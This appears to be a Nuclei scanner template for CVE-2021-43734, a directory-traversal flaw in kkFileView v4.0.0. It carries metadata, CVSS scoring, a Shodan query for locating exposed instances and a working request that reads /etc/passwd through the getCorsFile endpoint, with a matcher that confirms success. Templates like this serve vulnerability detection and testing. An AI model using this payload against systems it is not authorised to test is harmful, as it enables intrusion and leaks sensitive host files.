id: CVE-2021-43734

info:
  name: kkFileview v4.0.0 - Directory Traversal
  author: arafatansari
  severity: high
  description: |
    kkFileview v4.0.0 has arbitrary file read through a directory traversal vulnerability which may lead to sensitive file leak on related host.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43734
    cwe-id: CWE-22
  metadata:
    shodan-query: http.html:"kkFileView"
    verified: "true"
  tags: cve,cve2021,kkfileview,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200